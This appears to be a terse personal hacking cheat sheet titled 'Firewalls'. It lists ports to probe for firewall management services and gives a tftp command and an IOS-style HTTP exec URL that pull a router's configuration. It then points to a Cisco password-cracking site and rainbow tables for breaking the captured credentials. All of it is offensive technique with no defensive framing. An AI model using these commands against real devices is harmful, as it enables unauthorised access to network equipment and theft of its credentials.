Firewalls

jammin / crashing / testing

sneakin past 

try ports 888, 2456, 256, 257, 18181, 18190

If its a packet filtering firewall then-

tftp -i 192.168.13.1 GET router.cfg

http://192.168.13.1/level/99/exec/show/config

there should be a user name & password, if it is encrypted then use this-

http://www.securitystats.com/tools/ciscocrack.php

or a rainbow table

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